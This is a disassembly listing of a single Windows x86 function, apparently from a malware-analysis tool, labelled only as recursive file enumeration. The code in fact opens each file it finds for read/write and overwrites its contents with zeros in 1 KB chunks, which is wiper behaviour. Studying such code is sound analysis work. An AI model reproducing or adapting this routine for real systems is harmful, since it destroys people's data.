Function at 0x401000
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x894
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x890], eax
push ebx
push esi
push edi
lea eax, [esp + 0x48]
mov edi, ecx
push eax
push edi
mov dword [esp + 0x18], edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
mov dword [esp + 0x28], esi
test esi, esi
je 0x4012cf
mov eax, dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov dword [esp + 0x14], eax
mov bx, word [esp + 0x74]
mov ecx, 0x2e2e
cmp bx, 0x2e
je 0x401062
cmp bx, cx
jne 0x401078
cmp byte [esp + 0x76], 0
jne 0x401078
lea ecx, [esp + 0x48]
push ecx
push esi
call eax
test eax, eax
je 0x4012b8
mov eax, dword [esp + 0x14]
jmp 0x401046
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esp + 0x18], eax
mov eax, dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [esp + 0x1c], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [esp + 0x20], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esp + 0x24], eax
nop dword [eax]
test byte [esp + 0x48], 0x10
mov al, byte [edi]
push 0x100
mov byte [esp + 0x13], al
push 0
je 0x40114d
lea eax, [esp + 0x2a0]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor esi, esi
cmp byte [esp + 0xf], 0x2a
je 0x4010f4
lea edx, [esp + 0x298]
mov ecx, edi
sub edx, edi
nop dword [eax]
cmp esi, 0x100
jae 0x4010f4
mov al, byte [ecx]
inc esi
mov byte [edx + ecx], al
inc ecx
cmp byte [ecx], 0x2a
jne 0x4010e0
xor edx, edx
test bl, bl
je 0x40111c
mov ecx, esi
nop dword [eax]
cmp ecx, 0x100
jae 0x40111c
mov al, byte [esp + edx + 0x74]
inc edx
mov byte [esp + ecx + 0x298], al
inc ecx
cmp byte [esp + edx + 0x74], 0
jne 0x401100
lea eax, [edx + esi]
cmp eax, 0xfd
ja 0x4012cf
mov word [esp + eax + 0x299], 0x2a
lea ecx, [esp + 0x298]
mov byte [esp + eax + 0x298], 0x5c
call section..text
jmp 0x401295
lea eax, [esp + 0x3a0]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor esi, esi
cmp byte [esp + 0xf], 0x2a
je 0x401185
lea edx, [esp + 0x398]
mov eax, edi
sub edx, edi
cmp esi, 0x100
jae 0x401185
mov cl, byte [eax]
inc esi
mov byte [edx + eax], cl
inc eax
cmp byte [eax], 0x2a
jne 0x401171
xor edx, edx
test bl, bl
je 0x4011ac
mov ecx, esi
nop dword [eax]
cmp ecx, 0x100
jae 0x4011ac
mov al, byte [esp + edx + 0x74]
inc edx
mov byte [esp + ecx + 0x398], al
inc ecx
cmp byte [esp + edx + 0x74], 0
jne 0x401190
lea eax, [edx + esi]
cmp eax, 0xfd
ja 0x4012cf
push 0
push 0x10000000
push 3
push 0
push 0
mov byte [esp + eax + 0x3ac], 0
lea eax, [esp + 0x3ac]
push 0xc0000000
push eax
call dword [esp + 0x34]
mov edi, eax
test edi, edi
je 0x401291
mov ebx, dword [esp + 0x1c]
lea eax, [esp + 0x34]
push eax
lea eax, [esp + 0x30]
mov dword [esp + 0x30], 0
push eax
push 0x400
lea eax, [esp + 0x4a4]
mov dword [esp + 0x3c], 0
xorps xmm0, xmm0
mov dword [esp + 0x48], 0
push eax
push edi
movlpd qword [esp + 0x48], xmm0
movlpd qword [esp + 0x54], xmm0
call ebx
test eax, eax
je 0x40128c
mov esi, dword [esp + 0x2c]
test esi, esi
je 0x40124e
push esi
lea eax, [esp + 0x49c]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0x34]
push eax
lea eax, [esp + 0x34]
push eax
push esi
lea eax, [esp + 0x4a4]
push eax
push edi
call dword [esp + 0x34]
add dword [esp + 0x3c], 0x400
lea eax, [esp + 0x34]
push eax
lea eax, [esp + 0x30]
push eax
push 0x400
lea eax, [esp + 0x4a4]
push eax
push edi
call ebx
test eax, eax
jne 0x401233
push edi
call dword [esp + 0x28]
mov edi, dword [esp + 0x10]
mov esi, dword [esp + 0x28]
lea eax, [esp + 0x48]
push eax
push esi
call dword [esp + 0x1c]
test eax, eax
je 0x4012b1
mov bx, word [esp + 0x74]
jmp 0x4010a0
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x890]
xor ecx, esp
call fcn.0040135c
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x89c]
mov eax, 1
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040135c
mov esp, ebp
pop ebp
ret